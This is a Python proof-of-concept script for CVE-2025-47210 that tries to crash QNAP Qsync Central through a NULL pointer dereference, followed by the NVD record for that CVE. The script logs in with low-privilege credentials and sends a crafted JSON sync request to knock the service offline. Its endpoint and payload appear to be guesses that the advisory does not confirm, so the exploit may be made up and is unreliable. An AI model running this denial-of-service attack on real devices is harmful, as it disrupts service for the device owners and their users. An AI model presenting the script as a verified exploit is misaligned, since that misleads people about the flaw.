CVE-2025-47210

# CVE-2025-47210 - QNAP Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates triggering a NULL pointer dereference in Qsync Central # to cause a Denial of Service (DoS) condition. # # Requirements: # - Valid low-privilege user credentials for Qsync Central # - Python 3.x with requests library # - Target Qsync Central version < 5.0.0.2 import requests import sys TARGET_HOST = "https://target-qnap-ip:8080" USERNAME = "valid_user" PASSWORD = "valid_password" def trigger_null_deref(): """ Send a crafted request to trigger NULL pointer dereference in Qsync Central, causing service crash (DoS). """ session = requests.Session() # Step 1: Authenticate with valid credentials login_url = f"{TARGET_HOST}/qsync/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The specific endpoint/parameter that triggers the NULL deref # targets an uninitialized object reference in the sync processing logic trigger_url = f"{TARGET_HOST}/qsync/api/v1/sync" # Crafted payload targeting the vulnerable code path # The NULL pointer dereference occurs when processing certain sync # requests with malformed or unexpected parameters crafted_payload = { "action": "sync", "path": None, # NULL path triggers uninitialized pointer access "resource_id": "", # Empty resource ID "operation": "delete", # Operation that accesses uninitialized object "params": { "force": True, "recursive": True } } headers = { "Content-Type": "application/json", "User-Agent": "QsyncClient/1.0" } try: resp = session.post(trigger_url, json=crafted_payload, headers=headers, verify=False, timeout=10) print(f"[*] Trigger response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except requests.exceptions.ConnectionError: print("[+] Target appears to have crashed - service unavailable!") return True except Exception as e: print(f"[*] Exception occurred (possible crash): {e}") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-47210 - QNAP Qsync Central NULL Pointer Deref PoC") print("=" * 60) trigger_null_deref()

{"cve": {"id": "CVE-2025-47210", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:43.647", "lastModified": "2025-10-08T19:47:14.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.2 ( 2025/07/31 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.0", "versionEndExcluding": "5.0.0.2", "matchCriteriaId": "8F6CF68C-7492-426E-A30A-5E0CBF284FAE"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-35", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}